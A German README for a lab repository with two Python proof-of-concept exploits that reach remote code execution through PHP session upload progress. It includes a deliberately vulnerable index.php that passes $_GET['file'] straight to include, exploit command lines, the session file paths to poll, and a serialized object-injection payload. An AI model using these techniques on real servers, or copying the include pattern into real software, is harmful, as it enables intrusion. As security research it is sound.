
Zwei Python-PoCs für RCE über den Upload-Fortschritt von PHP-Sessions: Codeausführung via session-file LFI und Objektinjektion vom php_binary- zum php-Serializer, inklusive Skripten zum Aufsetzen einer Laborumgebung.
https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f
https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746
Dieses Repository enthält zwei Lab-PoCs für den PHP-Session-Upload-Fortschritt. Der Upload-Progress-Handler schreibt ein vom Angreifer kontrolliertes Feld in die Session- Datei, bevor Anwendungscode ausgeführt wird:
poc.py): Der Handler speichert einen Dateinamen oder Fortschritts-
wert, der PHP-Code enthält. Wenn eine autorisierte LFI die Session-Datei einbindet,
wird dieser Code ausgeführt.poc-php-binary.py): Der Fortschrittsdatensatz wird
mit php_binary geschrieben, dann wechselt die Anwendung zum php-Serializer und
ruft session_start() auf. Der php-Decoder deserialisiert den Fortschrittswert
des Angreifers und belegt damit ein Object-Injection-Primitiv ohne jegliche LFI.Verwenden Sie diese nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich zur Prüfung autorisiert sind.
Der generierte ?file=-Endpunkt ist absichtlich unsicher und muss in einem Lab verbleiben.
| Datei | Zweck |
|---|---|
poc.py | Multipart-Upload-PoC mit --filename / --progress / --field-name-Injection und optionalem LFI-Polling |
poc-php-binary.py | No-LFI-php_binary -> php-Serialisierungs-PoC |
setup.sh | Stellt das Session-Datei-LFI-Lab auf Port 80 bereit (installiert Apache/PHP, falls nicht vorhanden) |
setup-php-binary.sh | Dasselbe Skript wie setup.sh; unterscheidet sich nur im bereitgestellten index.php und in der Eingrenzung von session.serialize_handler=php_binary |
poc.mp4 | Demo: Session-Datei-LFI |
poc-php-binary.mp4 | Demo: php_binary-Serializer-Wechsel |
setup.sh erkennt die Distribution, installiert die Web-Server- und PHP-Pakete,
falls sie fehlen, leert /var/www/html, schreibt nur index.php und
lädt den Web-Server neu. Führen Sie es als Benutzer mit sudo-Rechten aus; das Skript ruft
sudo selbst auf, daher ist es nicht nötig, den gesamten Aufruf mit einem Präfix zu versehen:
bash setup.sh
Wenn es fertig ist, gibt es [+] Deployed: /var/www/html/index.php und die URL
zum Testen aus.
Installiert httpd, php und php-fpm. Da mod_php dort nicht mehr als Paket verfügbar ist,
schreibt das Skript außerdem /etc/httpd/conf.d/php.conf, um .php-Anfragen
an den php-fpm-Socket weiterzuleiten, und startet dann php-fpm und httpd. Die Seite wird
auf dem normalen Apache-Port ausgeliefert:
http://<host>/index.php
Installiert apache2, php und libapache2-mod-php (mod_php) und aktiviert
das PHP-Modul, falls es noch nicht geladen ist. Die Seite wird auf dem normalen
Apache-Port bereitgestellt:
http://<host>/index.php
Das Setup setzt keine sitzungsbezogenen PHP-INI-Werte. Es verwendet die System-PHP-Konfiguration.
Die generierte Seite:
<?php
declare(strict_types=1);
if (isset($_GET['file']) && $_GET['file'] !== '') {
header('Content-Type: text/plain; charset=utf-8');
include $_GET['file'];
} else {
echo "hello, world\n";
}
Prüfen Sie es:
curl http://192.168.122.170/index.php
# hello, world
setup.sh löscht /var/www/html; führe es nicht auf einem Host mit einer echten Site aus
dort.
poc.py ausführenDas PoC fragt vor dem Senden nach einer Bestätigung. --duration ist die Anzahl der
Upload-Chunks von einer Sekunde; der Standardwert ist 45. Wähle genau einen Injektions-
modus:
--filename platziert die PHP-Payload im Multipart-Dateinamen.--progress platziert sie im Wert von PHP_SESSION_UPLOAD_PROGRESS (die Payload
darf | nicht enthalten).--field-name platziert sie im Feldnamen des Dateiteils, den der Handler
ungefiltert in files[].field_name (ext/session/session.c:3321) speichert. Die Payload darf
", [ oder ] nicht enthalten (der Multipart-
Parser liest den Feldnamen bis zum schließenden Anführungszeichen und lehnt unausgeglichene
Klammern ab).--lfi erfordert eines von --fedora, --ubuntu oder --tmp, damit das PoC die
Session-Datei für die richtige Plattform abfragt. Unter Ubuntu:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--ubuntu
Auf Fedora / RHEL:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--fedora
Das PoC wartet acht Sekunden und fragt dann die LFI einmal pro Sekunde ab, während der
Upload noch läuft. Es stoppt, sobald es die Ausgabe der ausgeführten Payload sieht
(RCE <version>), bricht den verbleibenden Upload ab und beendet sich mit 0. Wenn der Upload endet,
ohne dass eine Übereinstimmung gefunden wurde, beendet es sich mit 1. Dauern unter 20 Sekunden werden auf 20 erhöht, wenn
Polling aktiviert ist, da PHP etwa zehn Sekunden benötigt, um den
Fortschrittseintrag zu schreiben.
Ohne --lfi sind die Plattform-Flags optional; das PoC sendet nur den Upload
und du kannst die Sitzungsdatei manuell überprüfen.
Das Plattform-Flag wählt die zu überwachende Datei aus:
--fedora /var/lib/php/session/sess_pwnd00000000000001
--ubuntu /var/lib/php/sessions/sess_pwnd00000000000001
--tmp /tmp/sess_pwnd00000000000001
php_binary -> php Serializer-Wechselsetup-php-binary.sh ist das gleiche Skript wie setup.sh — die beiden Dateien sind
byte-identisch bis auf einen lab-specific configuration-Block (den index.php,
der bereitgestellt wird, und den Serializer, unter dem das Lab läuft). Es installiert bei Bedarf
Pakete, leert /var/www/html, schreibt seine index.php und lädt Apache neu,
und es beschränkt zusätzlich session.serialize_handler=php_binary auf das Lab:
Fedora/RHEL verwenden einen dedizierten php-fpm-Pool, der über /etc/httpd/conf.d/php.conf angebunden wird;
Ubuntu/Debian verwenden ein php_value in einem Apache-Conf-Snippet. Ein erneutes Ausführen von setup.sh
entfernt diese Beschränkung und stellt das ursprüngliche LFI-Lab wieder her, sodass die beiden Skripte
das gemeinsame /var/www/html-Lab hin- und herschalten.
bash setup-php-binary.sh
Der Endpunkt beginnt mit session.serialize_handler=php_binary, wechselt zur Laufzeit zu
php und ruft session_start() auf:
<?php
declare(strict_types=1);
class Gadget {
public function __wakeup() { echo "SERIALIZED_WAKEUP\n"; }
public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}
ini_set('session.serialize_handler', 'php');
session_start();
echo "hello, world\n";
poc-php-binary.py ausführenpython3 poc-php-binary.py \
--remote 'http://192.168.122.170/index.php'
Das Skript ist ausschließlich auf Serialisierung ausgelegt; es gibt keinen LFI-Modus. Es sendet den Fortschrittswert
x|O:6:"Gadget":0:{} (oder die durch --gadget benannte Klasse) plus einen normalen Datei-
Teil. --duration ist standardmäßig 45 und wird auf mindestens 20 angehoben. Nach acht
Sekunden fragt es dieselbe URL mit demselben PHPSESSID jede Sekunde ab, gibt
jede Antwort aus und beendet sich mit 0, sobald SERIALIZED_WAKEUP oder
SERIALIZED_DESTRUCT erscheint. Wenn der Upload ohne Übereinstimmung endet, beendet es sich mit 1.
Das Präfix x| liefert das Trennzeichen, das php_binary nicht schreibt, sodass der
Decoder php das serialisierte Objekt als Fortschrittswert sieht.